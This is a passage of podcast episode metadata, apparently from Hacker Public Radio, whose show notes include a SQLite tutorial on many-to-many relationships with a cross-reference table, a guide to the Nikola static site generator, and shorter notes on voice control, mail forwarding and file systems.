      For the most part I use blather as an accessibility tool, to manipulate my desktop and generally to save myself hundreds of keystrokes a day. This is important because of my repetitive strain injuries. Blather allows me to do many “productivity” tasks using only my voice. I also like to have fun with it, though, and this “conversation” is an example of the sort of goofy stuff I like to do. When the computer hears me say certain predefined phrases, it runs commands. For example when I say “what’s for dinner,” it shuffles the contents of a plaintext file that has about 20 options for dinner, chooses the top option and pipes it through my default text-to-speech program, which is either espeak or festival, depending on what I set as the environment variable in my blather startup script. When it hears me ask for certain other information, such as “what day is it?” and “what’s today’s date?”, it runs the appropriate system command and pipes the output through the text-to-speech program. For information about blather, the various back-end things that make it work, examples of my blather scripts and configuration files, visit the links below.

      \n
      \n

      Links

      \n ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Speech Recognition, Speech Recognition In Linux, bash scripting, GNU/Linux (Operating System), sphinx, pocketsphinx, automation","version":0,"downloads":0,"valid":1}, {"id":1569,"date":"2014-08-07","title":"Many-to-many data relationship howto","duration":1442,"summary":"The best way to implement a many-to-many relationship in a database, with real example","notes":"

      How to implement a many-to-many join in a relational database

      \n

      The purpose of this HPR show is to demonstrate the best, and really the only way to define a many-to-many relationship between two entities in a database.

      \n

      What triggered it?

      \n

      There has been some discussion between Ken and Dave on the community news podcasts, presumably relating to some work which is being done on the HPR web site. I sent Ken an email explaining how to implement a many-to-many relationship and got a predictable response; do a show :)

      \n

      So here it is.

      \n

      What do I mean by database entity?

      \n

      In analysing the structure of the data which is to be stored by a database, one of the most important things to do is to identify what entities are to be stored and manipulated.

      \n

      What constitutes an entity is often quite simple; some examples might be 'customer', 'billing address', 'shipping address', 'invoice', 'invoice item' etc.

      \n

      In fact it's also true to say that more often than not entities and tables have a one-to-one relationship. If the analysis of your data reveals that there is a 'customer' entity, then there will probably be a 'customer' table.

      \n

      One area where this might not be quite true is where the mechanism used to implement the whole software system demands a greater level of granularity. There are some e-commerce systems which are written with object-oriented technology and which demand that the data model matches the objects in the system. Typically this results in a data model that might look like it is over-normalised.

      \n

      But for the sake of this example, we will assume that one entity occupies one table.

      \n

      In fact if you find your analysis has any two tables that appear to have a one-to-one relationship, there is probably something wrong with your analysis because these two tables could be merged into one.

      \n

      Entity Relationships

      \n

      In a database system comprised of a number of tables, one table per entity, there will be complex relationships between the entities. This is the reason we talk about 'relational' databases. Or perhaps it is because all the columns in a table are supposed to be related to the unique identifier in that table, not sure, and neither was Mr. Codd.

      \n

      Types of relationship

      \n

      One-to-many or many-to-one, depending on which end of the telescope you are looking through. For example a customer might make one, or many purchases from your company e-commerce system. In which case there will be a one-to-many relationship between the 'customer' table and the 'invoice' table in the sales ledger.

      \n

      Note that if the customer has only ever made one purchase there will only be one row in the invoice table, but it COULD contain more. The more end is really one-or-more.

      \n

      Because one visit to the web site might result in the customer dropping more than one item into his shopping cart, there will also be an 'invoice lines' or 'invoice items' table.

      \n

      How these relationships are represented on diagrams

      \n

      Classically an entity relationship diagram consists of a series of rectangles, one for each table with the name of the entity written in the box. The entity rectangles are joined together by lines. These lines have what are usually called 'crows feet' at the 'many' end. A crows foot looks just like what it says, where the line joins the many end of the join, the line splits into three prongs before it hits the side of the many entity rectangle. Depending on what mechanism has been used to create this diagram, the crows foot can also look more like a fork than a crows foot, but there are still three prongs.

      \n

      In this text I will use a line consisting of dashes to join entities, and a backwards left or right arrow to represent the many end of a relationship.

      \n

      So, using the example above, the one-to-many relationship between customer and invoice looks like this:

      \n\ncustomer-----<invoice\n\n

      Here the less-than sign is used at the many end and should be thought of as a crows foot with the middle toe missing.

      \n

      How to join two tables in a many-to-many relationship

      \n

      You will not come across this relationship very often. It is far less common than a simple one-to-many or many-to-one.

      \n

      One example where this might be useful, and the example I use in this text, is a music database where two of the entities are:

      \nArtist\nGenre\n\n

      Clearly there will be multiple artists, and multiple genres. And it is not inconceivable that an artist might appear in more than one genre. And a given genre will clearly contain more than one artist.

      \n

      So this gives rise to a many-to-many relationship, which in pure analysis terms could be diagrammed like this:

      \nartist>-----<genre\n\n

      But this is NOT the way to define it in actual physical database tables.

      \n

      Observing the rules of normalisation, an artist should be identified by one property, the artist name, and a genre should be identified by one single property, the genre name.

      \n

      More often, and in our example below, each entity is given a unique identifier which is in addition to it's actual name.

      \n

      This is how changing a simple name in one table can result in the change being seen globally over the entire database system. For example in a customer table, the row:

      \nid  name\n--  ----\n1   Mickey Mouse\n\n

      Will cause 'Mickey Mouse' to be shown as the customer name wherever the identifier '1' is used to retrieve records or to join tables in a complex SQL query.

      \n

      Change 'Mickey Mouse' to 'Donald Duck' in this table, and 'Donald Duck' will appear everywhere 'Mickey Mouse' was seen before.

      \n

      Foreign Keys

      \n

      When two tables are to be joined to make a query, columns, or multiple columns are given indexes. A column which contains the key from another table is called a 'foreign key'.

      \n

      Going back to our customer and invoice example from above, the invoice table will contain the customer identifier from the customer table. And because a single customer can make more than one visit to our web site to buy stuff, the column containing the customer identifier in the invoice table is not given a unique index.

      \n

      If the customer with the identifier '12345' has made five different shopping excursions to our site, there will be five rows in the 'invoice' table containing the customer identifier '12345'.

      \n

      Armed with this information, how will we represent this:

      \nartist>-----<genre\n\n

      Clearly the artist table should contain a foreign key from the genre table, and the genre table should contain a foreign key from the artist table.

      \n

      The rules of normalisation say that all the attributes in a table (columns) should relate to the primary key of the table. Clearly putting a genre foreign key into the artist table, or an artist foreign key into the genre table busts this rule wide open. Don't do it

      \n

      The solution

      \n

      To solve this problem we introduce another table between the artist table and the genre table, which I always suffix with '_xref', short for cross-reference.

      \n

      Now our entity relationship diagram will look like this:

      \nartist-----<artist_genre_xref>-----genre\n\n

      What does the artistgenrexref table contain? Simple, it contains the bare minimum to define a unique row which joins an artist and a genre.

      \n

      If the artist identifier is called artistid and the genre identifier is called genreid, then the xref table contains two columns:

      \nartist_id\ngenre_id\n\n

      What kind of index do we need on this table to make a unique relationship between an artist and a genre? We need a unique compound index which uses both columns.

      \n

      This will ensure that one and only one row can appear in the table joining one artist to one genre. But because an artist can belong to more than one genre, both columns in the index mean this is possible.

      \n

      A worked example

      \n

      In the example code and data below, I have used SQLite3.

      \n

      SQLite is the world's most used Relational Database System (RDBMS).

      \n

      How can this claim be made?

      \n

      Well if you have a smart-phone in your pocket, it probably uses SQLite. If you have a satellite TV receiver, a Tivo or some other kind of home media device, it probably contains SQLite.

      \n

      And if you are really strange and have a fridge which will tell you what's inside, it probably uses SQLite. And there will be one row which says 'half an onion wrapped in foil which has been in here for six months'.

      \n

      Several times I have been brought Blackberry hand-sets and asked to retrieve important documents or texts from it when the user interface mechanism has failed. Something that often happens with that flavour of soft fruit.

      \n

      SQLite is easy to install on your Linux machine. In fact it is used by so many other packages that it may well be on there already. But you may have to install the interactive SQLite3 program.

      \n

      On Arch Linux:

      \n$ sudo pacman -S sqlite3\n

      On Debian or Ubuntu:

      \n

      $ sudo apt-get install sqlite3

      \n

      Below I have inserted the contents of all the files which I created to demo this many-to-many relationship strategy.

      \n

      Each file is topped and tailed by the string '--snip--'. In the SQLite3 interactive program, a double dash ('--') starts a line comment. Each file also contains the name of the file and a description of what it does.

      \n

      An exception is the .csv files I have used to load data into my little test database. These have the '--snip--' tops and tails in this text but they do not exist in the actual data, for obvious reasons. If you are snipping out the csv data to try this at home, don't include anything but the data lines in the csv data.

      \n

      To start an interactive SQLite 3 prompt and create your test database, do this at a Linux or Windows command prompt. Here the prompt is represented by a dollar sign:

      \n$ sqlite3 music.db\n\n

      You will get this prompt:

      \nsqlite>\n\n

      Because the first thing I alwys want to know about apiece of software I haven't used before is how to get out, to get out of the interactive SQLite3 session, type this, of course 'sqlite>' is the prompt:

      \nsqlite>.quit\n\n

      To run a file of commands you have defined in an external file, do this:

      \nsqlite>.read filename\n\n

      Where 'filename' is a file containing dot prefixed commands and/or SQL.

      \n

      The files from my working example:

      \n

      The following file contains commands to create tables and indexes in the database named on the command-line when you called sqlite3.

      \n--snip--\n--\n-- file name: ddl.sql\n--\n-- ddl = 'data definition language'\n--\n-- This SQL creates three tables, the artists table tbl_artist,\n-- the genre table tbl_genre, and the cross-reference\n-- ttable tbl_artist_genre_xref\n--\n-- The xref table is what provides the many-to-many relationship\n-- between artist and genre by virtue of it's\n-- compund index; idx_artist_genre_xref,\n-- which has two columns included in it\n--\n-- I use the tbl_ prefix for tables and the idx_ prefix for indexes.\n-- These might seem redundant but they are useful for preventing\n-- collisions between database component names and reserved words.\n--\n\n-- Create the artist table\ncreate table tbl_artist (\n    artist_id integer not null primary key,\n    artist_name text not null\n);\n\n-- Create the genre table\ncreate table tbl_genre (\n    genre_id integer not null primary key,\n    genre_name text not null\n);\n\n-- Create the artist_genre_xref table\n--\n-- I use number for both columns instead of integer because SQLite\n-- does something funky with auto-incrementing integer\n-- columns which have a 'not null' constraint, I think\ncreate table tbl_artist_genre_xref (\n    artist_id number not null,\n    genre_id number not null\n);\n\ncreate unique index idx_artist_genre_xref on tbl_artist_genre_xref (\n    artist_id,\n    genre_id\n);\n\n--snip--\n\n

      There follow three files which contain comma-separated values (.csv) records for loading into each table.

      \n

      The first is artist data:

      \n--snip--\n1,\"Horslips\"\n2,\"Runrig\"\n3,\"The Pogues\"\n4,\"Led Zeppelin\"\n5,\"Disturbed\"\n6,\"Martin Carthy\"\n7,\"Steeleye Span\"\n8,\"Schubert\"\n9,\"Mozart\"\n--snip--\n\n

      The first three artists fall into both the folk and rock genres. Led Zeppelin and Disturbed will be in rock only.

      \n

      Martin Carthy and Steeleye Span are folk only.

      \n

      Schubert and Mozart need no further explanation.

      \n

      The next is data to load into the genre table:

      \n--snip--\n1,\"Folk\"\n2,\"Rock\"\n3,\"Classical\"\n4,\"Scottish\"\n5,\"Irish\"\n--snip--\n\n

      The last data file is the data which will be loaded into the artistgenrexref table. It contains only numerical data:

      \n--snip--\n1,1\n2,1\n3,1\n1,2\n2,2\n3,2\n4,2\n5,2\n6,1\n7,1\n8,3\n9,3\n1,5\n3,5\n2,4\n--snip--\n\n

      What is this data doing? Well there are some artists there which will appear in both the 'folk and the 'rock' genres. Horslips are a seventies Irish folk-rock band. I still play their 'The Book of Invasions' album at least once a week. This is either because it is a seminal album or because I am a dinosaur who refuses to be dragged kicking and screaming into the 21st century. Runrig are a band from the Western Isles of Scotland who cross over the folk/rock boundary also. Check links at the end of this text.

      \n

      The next file loads the data from these .csv files into the three database tables.

      \n--snip--\n--\n-- file name: load.sql\n--\n-- Load some data into the tables from three CSV files\n--\n.separator \",\"\n.import artist.csv tbl_artist\n.import genre.csv tbl_genre\n.import xref.csv tbl_artist_genre_xref\n--snip--\n\n

      There now follow some SQL queries which retrieve data-sets which should be obvious from the file names:

      \n--snip--\n--\n-- file name: select-folk-only.sql\n--\n-- This is where the SQL gets a bit hairy, using a sub-query to exclude\n-- everything except the category we want from the record-set.\n--\n-- This is the kind of situation where a view\n-- might be useful to hide some of the SQL complexity from\n-- the user.\n--\nselect a.artist_id, a.artist_name, x.genre_id\nfrom tbl_artist as a, tbl_artist_genre_xref as x\nwhere a.artist_id = x.artist_id\nand x.genre_id = 1\nand a.artist_id not in (\n    select a.artist_id\n    from tbl_artist as a, tbl_artist_genre_xref as x\n    where a.artist_id = x.artist_id\n    and x.genre_id != 1\n);\n\n--snip--\n\n\n\n--snip--\n--\n-- file name: select-folk.sql\n--\n-- Straight-forward query to select artists that appear in the folk\n-- category.\n--\n-- This will return artists that appear in the folk category, which\n-- includes artists that appear either exclusively in folk or in BOTH\n-- folk and any other category also.\n--\n-- A little hard to get your head around.  Remember the artists returned\n-- by this set are in both folk and any other category.\n--\nselect a.artist_id, a.artist_name, x.genre_id\nfrom tbl_artist as a, tbl_artist_genre_xref as x\nwhere a.artist_id = x.artist_id\nand x.genre_id = 1;\n\n--snip--\n\n\n\n--snip--\n--\n-- file name: select-rock-only.sql\n--\n-- This is where the SQL gets a bit hairy.  It uses a sub-query to\n-- exclude everything except the category we want from the record-set.\n--\n-- This is the type of query where a view might be useful to hide some\n-- of the SQL complexity from the user\n--\nselect a.artist_id, a.artist_name, x.genre_id\nfrom tbl_artist as a, tbl_artist_genre_xref as x\nwhere a.artist_id = x.artist_id\nand x.genre_id =2\nand a.artist_id not in (\n    select a.artist_id\n    from tbl_artist as a, tbl_artist_genre_xref as x\n    where a.artist_id = x.artist_id\n    and x.genre_id != 2\n);\n--snip--\n\n\n\n--snip--\n--\n-- file name: select-rock.sql\n--\n-- select all artists which appear in the rock category\n--\nselect a.artist_id, a.artist_name\nfrom tbl_artist as a, tbl_artist_genre_xref as x\nwhere a.artist_id = x.artist_id\nand x.genre_id = 2;\n--snip--\n\n\n--snip--\n--\n-- file name: select-scottish.sql\n--\n-- Straight-forward query to select artists that appear in the scottish\n-- category.\n--\n-- This will return artists that appear in the scottish category, which\n-- includes artists that appear either exclusively in scottish or in\n-- BOTH scottish and any other category also.\n--\nselect a.artist_id, a.artist_name, x.genre_id\nfrom tbl_artist as a, tbl_artist_genre_xref as x\nwhere a.artist_id = x.artist_id\nand x.genre_id = 4;\n--snip--\n\n\n\n--snip--\n--\n-- file name: select-irish.sql\n--\n-- Straight-forward query to select artists that appear in the irish\n-- category.\n--\n-- This will return artists that appear in the irish category, which\n-- includes artists that appear either exclusively in irish or in BOTH\n-- irish and any other category also.\n--\nselect a.artist_id, a.artist_name, x.genre_id\nfrom tbl_artist as a, tbl_artist_genre_xref as x\nwhere a.artist_id = x.artist_id\nand x.genre_id = 5;\n--snip--\n\n

      The next files, all prefixed 'dump' will dump the record-sets returned by the above SQL queries into corresponding .csv files:

      \n--snip--\n--\n-- file name: dump-folk-only.sql\n--\n-- Dump all artists that appear ONLY in the folk category\n-- into folk-only.csv\n--\n.mode csv\n.output folk-only.csv\n.read select-folk-only.sql\n--snip--\n\n\n\n--snip--\n--\n-- file name: dump-folk.sql\n--\n-- Dump all artists that appear in the folk category\n-- into folk.csv\n--\n.mode csv\n.output folk.csv\n.read select-folk.sql\n--snip--\n\n\n\n--snip--\n--\n-- file name: dump-rock-only.sql\n--\n-- Dump all artists that appear ONLY in the rock category\n-- into rock-only.csv\n--\n.mode csv\n.output rock-only.csv\n.read select-rock-only.sql\n--snip--\n\n\n\n--snip--\n--\n-- file name: dump-rock.sql\n--\n-- Dump all artists that appear in the rock category\n-- into rock.csv\n--\n.mode csv\n.output rock.csv\n.read select-rock.sql\n--snip--\n\n\n\n--snip--\n--\n-- file name: dump-scottish.sql\n--\n-- Dump all artists that appear in the scottish category\n-- into scottish.csv\n--\n.mode csv\n.output scottish.csv\n.read select-scottish.sql\n--snip--\n\n\n\n--snip--\n-- Dump all artists that appear in the irish category\n-- into irish.csv\n--\n.mode csv\n.output irish.csv\n.read select-irish.sql\n--snip--\n\n

      In a real-world example, the hard-coded numeric genre identifiers in the above queries would be replaced by placeholders like '?' which would be replaced by actual values at run-time.

      \n

      Conclusion

      \n

      In conclusion, in my experience programming all manner of systems using Oracle, MySQL and SQLite databases, this method is the only one which doesn't take diabolical liberties with the rules of database normalisation.

      \n

      It may result in SQL queries which will make you scratch your head, but that is far more acceptable than doing stuff like trying to shoe-horn a many-to-many relationship into your database structure by other means.

      \n

      One of the most crucial aspects of using a high-end RDBMS like Oracle, MySQL or SQLServer, is the need to get as much data selection done by the server as possible.

      \n

      This is because the server is a big fat box in a cupboard connected to your machine by a network infrastructure. It might be next door or on the other side of the world.

      \n

      It makes far more sense for the server to return to you those records, and ONLY those records you want, over the network.

      \n

      Any other strategy for implementing a many-to-many relationship is likely to result in you pulling stuff back to your machine which you are ultimately going to drop in some kind of loop. Slow and wasteful of bandwidth.

      \n

      In the example I have used, the cross-reference table was populated manually. In most real-world implementations the cross-reference table will be populated in response to records being added to the two outer tables, or in response to user-intervention using a client application. Often triggers are used to create the cross-reference rows.

      \n

      If you were authoring a music database application in which such a relationship exists between artist and genre, the user interface would probably provide a means for the user to decide which genres to plop artists into.

      \n

      I have used SQLite to demo this strategy. While SQLite is a great tool, it is a 'lite' tool that is designed for single-user applications, in particular embedded systems.

      \n

      If you are thinking of starting an airline and want to implement a world-wide seat booking application which will serve many concurrent users, needing complex transactional operations, don't use SQLite or your customer complaints are likely to exceed bookings.

      \n

      My example data definitions also contain no constraints for preventing orphaned rows. These are rows in a table containing a foreign key where no record exists in the table identified by the foreign key. Because in my example I load the 'parent' tables before I load the table which contains foreign keys to both of those tables, there is no risk of creating orphaned rows.

      \n

      Most RDBMS systems include a mechanism for what is called 'cascaded deletes', that is, when deleting a row from a parent table, any row in a table containing a foreign key for that row, a 'child' row, will also be deleted, preventing 'orphaned' records.

      \n

      Applying this to the above example, deleting 'Runrig' from the artists table would also delete all rows from the artistgenrexref table with the identifier for 'Runrig'.

      \n

      Links

      \n \n

      If any queries result from this show about any of the terms I might have very casually scattered about relating to database theory, assuming I know the answers, I can do more shows about those.

      \n

      Maybe one about SQLite in particular.

      \n

      Mike

      ","hostid":282,"series":4,"explicit":0,"license":"CC-BY-SA","tags":"database, sqlite, sqlite3, many-to-many, codd, normalisation, sql","version":0,"downloads":0,"valid":1}, {"id":1570,"date":"2014-08-08","title":"The JFS File System","duration":329,"summary":"The JFS File System","notes":"The JFS File System","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,journaling file system,JFSA,B+ tree","version":0,"downloads":0,"valid":1}, {"id":1571,"date":"2014-08-11","title":"Yahoo Mail Forwarder","duration":624,"summary":"Build, configure and deploy a self maintaining Yahoo mail forwarding virtual client.","notes":"

      \nBuild, configure and deploy a self maintaining Yahoo mail forwarding virtual client.\n
      \nNeeded\n

      \n
        \n
      • VirtualBox
      • \n
      • Fedora 20 LXDE/32Bit iso file.
      • \n
      • Virtual Hosting Server (currently using VirtualBox, phpVirtualBox with a Centos6 host).
      • \n
      • Yahoo Account
      • \n
      • IMAP capable email account for delivery.
      • \n
      \n

      \nSince it will be virtual, isolated, single purpose machine, Security is minimal.\n

      \n

      \nStep by step instuctions at https://james.toebesacademy.com/YahooMailForwarder.html\n

        \n
      1. Build VM
      2. \n
      3. Configure Applications and AutoStart
      4. \n
      5. Configure Mail Forwarding
      6. \n
      7. Configure Automatic Maintenance
      8. \n
      9. Test
      10. \n
      11. Deploy to Virtual Server.
      12. \n
      \n

      Known Issues:

      \n

      \nOccasionally bulk forwards spam folder....\n

      \n

      \nLet me know your thoughts and if you want to hear more about my home server configuration.\n

      \n","hostid":273,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"email,IMAP,Thunderbird","version":0,"downloads":0,"valid":1}, {"id":1572,"date":"2014-08-12","title":"An Open Source News Break from Opensource.com","duration":287,"summary":"Fedora Scientific, pharmaceutical research, Apache Open Climate workbench.","notes":"

      \nIn this episode: The new Fedora Scientific Spin, open source approaches to pharmaceutical research, and the Apache Open Climate workbench.\n

      \n

      \nLinks:\n

      \n\n","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"Fedora Scientific,pharmaceutical research,Apache Open Climate workbench","version":0,"downloads":0,"valid":1}, {"id":1573,"date":"2014-08-13","title":"Make your own t-shirt with bleach","duration":298,"summary":"Making T-shirts with bleach and freezer paper","notes":"

      \nMaking T-shirts with bleach and freezer paper\n

      \n\n

      links

      \n\n\n\n\n

      \nbe sure to check out side bar at /r/bleachshirts for more tutorials\n

      ","hostid":110,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"t-shirt,bleach","version":0,"downloads":0,"valid":1}, {"id":1574,"date":"2014-08-14","title":"Arts and Bots","duration":616,"summary":"robots and programming in liberal arts classes","notes":"

      Klaatu interviews a teacher about the use of robots and programming\n in liberal arts classes. Big crowds at this Carnegie Melon event,\n so the sound quality is not great.

      \n\n

      Links

      \nCMU CREATE Lab","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"robot,Hummingbird Robotics Kit","version":0,"downloads":0,"valid":1}, {"id":1575,"date":"2014-08-15","title":"35 - LibreOffice Calc - Introduction to Functions","duration":714,"summary":"Introduction to working with functions in LibreOffice Calc","notes":"

      In this episode we review what a function is, discuss the different types of functions available in LibreOffice, discuss the concept of arguments in mathematics, and present a general process for using functions in Calc.

      \n

      Links:

      \n ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"Calc, Spreadsheet, function","version":0,"downloads":0,"valid":1}, {"id":1576,"date":"2014-08-18","title":"How I got into Linux","duration":1674,"summary":"This is my story about how I got into computers, computing and GNU/Linux.","notes":"

      \nShort Summary: This is my story about how I got into computers, computing and GNU/Linux.\n

      \n

      \nLinks:\n

      \n\n","hostid":283,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"Linux, FLOSS, Mac","version":0,"downloads":0,"valid":1}, {"id":1577,"date":"2014-08-19","title":"Introducing Nikola the Static Web Site and Blog Generator","duration":936,"summary":"I explain how to use the Nikola Static Web Site and Blog Generator to make a simple site with a page","notes":"

      Nikola - The Static Web Site and Blog Generator - https://getnikola.com

      \n

      Note: Please see developer notes below

      \n

      What is it? A Static Website and Blog Generator based on Python.
      What is a Static Website Generator? It generates posts and pages via commands. You edit those posts and pages in a text editor, then run a command to build the site, and finally, deploy/upload the generated html etc files to your webhost.
      That sounds kinda old school are you sure thats web 3.0? Its old and new school. Nikola gives you CMS like features without the overhead of the database server and page rendering engine.
      How can I install it? Use PIP and follow the handbook on the getnikola.com website. NOTE: Python 2.6 or newer or Python 3.3 or newer is required

      \nsudo pip install nikola\nsudo pip install nikola[extras]\n

      You should be good to go if you can enter nikola help in a terminal and get a list of nikola commands.
      Lets create our skeleton website:

      \nnikola init mysite \n

      You will need to answer some questions now (NOTE a directory to cd into called mysite will be created if you issue mysite.. You should enter your domain name instead - mysite is just an example).
      The questions it asks will help populate the conf.py file in the mysite directory.

      \nSite Title: \nSite Author:\nSite Author Email:\nSite Description:\nSite URL:\nLanguages to support: (default en)\nTime zone: \nWhich comments system to use:\n

      Once complete your site will be created and in the directory you named the site as - in my case, mysite.
      cd into that and take a look at the files with ls.
      you will have:

      \n
        \n
      • conf.py - your configuration file
      • \n
      • files - where you will place images etc and reference them in blog posts and pages
      • \n
      • galleries - where you can serve up images in a gallery
      • \n
      • posts - where your blog posts go
      • \n
      • stories - where your pages go
      • \n
      \n

      Lets create a blog post.

      \nnikola new_post\n

      Type in the title of your blog post and hit enter. I will use foobar in this example
      It will report the new post is in posts/foobar.rst
      fire up your text editor and edit that file.

      \n

      There is a header area at the top of the file - most of it is already filled in and you wont need to change it but you should add a Tag because you can see posts by Tag once the site is generated and it gives your readers a way to find all items on that subject. These are separated by commas so enter as many or few as you like. Enter a Description in the Description area.
      Now move into the Write your post here area and go to town - erase that or it shows up in your post.
      You should read the page on ReStructuredText here: https://getnikola.com/quickstart.html but also just look at the source by clicking 'Source' on the getnikola website and you can see the markup they used. Some basics are

      \n*word*\n
      for italics,
      \n**word**\n
      for bold, a single * space item for bullet points and for hyperlinks
      \n`Tree Brewing Co: <https://treebeer.com/>`_.\n
      a Tree Brewing Co hyperlink which will bring you when clicked to treebeer.com. Lastly issue:
      \n.. image:: /files/imagefilename.jpg\n
      to point to an image file that you have placed into the files directory.
      Ok lets say you are done your post, save it and exit. Lets now build your site and fire up the built in webserver to display it.
      \nnikola build\nnikola serve -b\n

      Your default web browser will launch and you will see your site with blog post. Savour the moment - you have just created your first blog post. Note all the generated files you would upload to your webhost are in the output folder.
      Ok so thats great but I want to add pages and have it in my navigation window Ok lets do that.

      \nnikola new_post -p\n
      Enter a name for it and press Enter. In my case I created MyPage

      It tells you your page is in the stories directory and shows you how it named the file. In my case its mypage.rst
      Open that in a text editor and compose the page - save it when complete.
      So that would be great but its not showing up in your navigation yet. You need to put that in your conf.py file.
      Open conf.py in a text editor, look for NAVIGATION_LINKS. Observe how the existing pages are linked and follow that format. Here is how I would add mypage: (/stories/mypage.html, MyPage), any page you create will show up in stories so dont forget to put that in the path.

      \nNAVIGATION_LINKS = {\n    DEFAULT_LANG: (\n        (\"/archive.html\", \"Archive\"),\n        (\"/categories/index.html\", \"Tags\"),\n        (\"/rss.xml\", \"RSS feed\"),\n        (\"/stories/mypage.html\", \"MyPage\"),\n    ),\n}\n

      Save that and rebuild your site.
      NOTE:: As of Today Nikola v7.0.1 requires a special command to include the new pages in navigation. This has been fixed in git but currently you must issue:

      \nnikola build -a\nnikola serve -b \n

      Now you are viewing it - nice work - you have a page now.
      This site seems a bit plain, how can I theme it? Glad that you asked - issue this command.

      \nnikola bootswatch_theme -n custom_theme -s slate -p bootstrap3\n

      Now you have set it to use the slate bootswatch theme. Review the bootswatch themes on: https://bootswatch.com/
      In order to let Nikola know to use this new theme you need to edit the conf.py file and look for THEME and change the value from bootstrap3 to custom_theme.
      Now issue these commands at the command line to view the changes:

      \nnikola build\nnikola serve -b \n

      You can modify the themes to your liking and there is guidance on changing the theme on the nikola website.
      There are ways to depoly your site via rsync or ftp commands in the conf.py file. There are also other things you can set in the conf file such as google analytics, add an embeded duckduckgo or google search engine, specify options for the image galleries etc.
      More things you can do to spify up your posts / pages are to do with using shortcode like sytax for ReStructuredText. You can embed soundcloud, youtube videos etc - here is a list of these: https://getnikola.com/handbook.html#restructuredtext-extensions

      \n

      I hope this helps you get started on using Nikola and hope you enjoy using it as much as I do. If you have questions or comments, find me in the oggcastplanet.net irc chat room on freenode, or go to https://stevebaer.com click Tags and click HPR and leave a comment on this episodes blog post. Until next time, Cheers!

      \n

      Corrections to this episode provided by Chris Warrick

      \n

      https://stevebaer.com/posts/hpr-episode-on-using-the-static-web-site-and-blog-generator-called-nikola.html

      \n

      Some small corrections:

      \n
        \n
      1. it is recommended to use a virtualenv, `sudo pip` can be dangerous
      2. \n
      3. `pip install nikola[extras]` is enough, no need to do both steps
      4. \n
      5. new pages can be created with `nikola new_page`, too (both ways are equally supported)
      6. \n
      7. \n missing quotes around \"MyPage\" in example navbar codeFixed
      8. \n
      9. you can get rid of /stories/ if you change PAGES[*][1] from \"stories\" to an empty string.
      10. \n
      11. bootswatch themes are not everything, there is also install_theme that uses a more varied collection from https://themes.getnikola.com/
      12. \n
      ","hostid":137,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Nikola,static website,ReStructuredText","version":0,"downloads":0,"valid":1}, {"id":1578,"date":"2014-08-20","title":"AudioBookClub-08-How to Succeed in Evil:The Novel","duration":7213,"summary":"The HPR_AudioBookClub reviews How to Succeed in Evil: The Novel by @PatrickEMcLean. ","notes":"

      \nIn this episode, the hackerpublicradio.org Audiobook Club reviews How to Succeed in Evil: The Novel by Patrick E. McLean. \n

      \n\n\n\n

      \nThree out of four of us liked this book, and we all had some good things to say about it. While it's true that this is an entertaining story set in a super hero world, we found it it more amusing and more thought provoking than your average super hero story.\n

      \n

      \nAs usual, during this episode of the AudioBookClub the hosts have each reviewed a beverage of their choice.\n

      \n\n\n\n

      \nOur next audiobook will be Down and Out in the Magic Kingdom by Corey Doctorow https://podiobooks.com/title/down-and-out-in-the-magic-kingdom/ \nOur next book club recording will be 2014/07/15T23:00:00+00:00 (https://en.wikipedia.org/wiki/ISO_8601#Times)\nIf you'd like a Google calendar invite, or if you'd like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list 'hpr at hackerpublicradio dot org'\n

      \n

      \nThere are several ways to submit feedback for this episode including the HPR mail list hpr@hackerpublicradio.org, and the episode's comment section\n

      \n

      \npokey prefers his feedback to come via the HackerPublicRadio comment system, but is also usually available on StatusNet @pokey/micro.fragdev.com\n

      \n

      \nPlease remember to visit the HPR contribution page. We could really use your help right now. https://hackerpublicradio.org/contribute.php\n

      \n

      \nWe had a great time recording this show, and we hope you enjoyed it as well. We hope you'll consider joining us next time. Thank you very much for listening.\n

      \n

      \nSincerely,\nThe HPR_AudioBookClub\n

      \n

      \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

      ","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub","version":0,"downloads":0,"valid":1}, {"id":1579,"date":"2014-08-21","title":"Crowd Sourced Air Quality Monitoring","duration":470,"summary":"Klaatu interviews a programmer about new crowd-sourced air quality detection systems","notes":"

      Klaatu interviews a programmer about new crowd-sourced air quality detection systems. Big crowds at this Carnegie Melon event,\n so the sound quality is not great.

      \n\n

      Links

      \nCMU CREATE Lab\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"air quality,Speck Sensor","version":0,"downloads":0,"valid":1}, {"id":1580,"date":"2014-08-22","title":"The FAT and NTFS File Systems","duration":563,"summary":"The FAT and NTFS File Systems","notes":"The FAT and NTFS File Systems\n","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,FAT,NTFS","version":0,"downloads":0,"valid":1}, {"id":1581,"date":"2014-08-25","title":"Sensible Security: The Schneier Model","duration":1698,"summary":"This episode looks at a sensible model of obtaining the right amount of security for your needs.","notes":"

      Back in 2001 there was a certain incident on September 11 that lead many people to go OMG! We are doomed! We must increase security! Do whatever it takes! And the NSA was happy to oblige. And on 7/7/05 an attack in London added to the frenzy. I think it is fair to say that these security agencies felt they were given a mandate to do anything as long as it stops the attacks, and thus was the overwhelming attack on privacy moved to a whole level higher. To be clear, security agencies are always pushing the limits, it is in their DNA. And politicians have learned that you never lose votes by insisting on stronger security and appearing tough. - For more go to https://www.zwilnik.com/?page_id=577

      \n

      Links:

      \n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Security and Privacy series, cost/benefit","version":0,"downloads":0,"valid":1}, {"id":1582,"date":"2014-08-26","title":"An Open Source News Break from Opensource.com","duration":303,"summary":"Tesla's patent decision, 12 challenges, and an update on the GNU Health project","notes":"

      \nIn this episode: An analysis of Tesla's patent decision, the 12 most pressing challenges for open source projects, and an update on the GNU Health project.\n

      \n

      \nLinks:\n

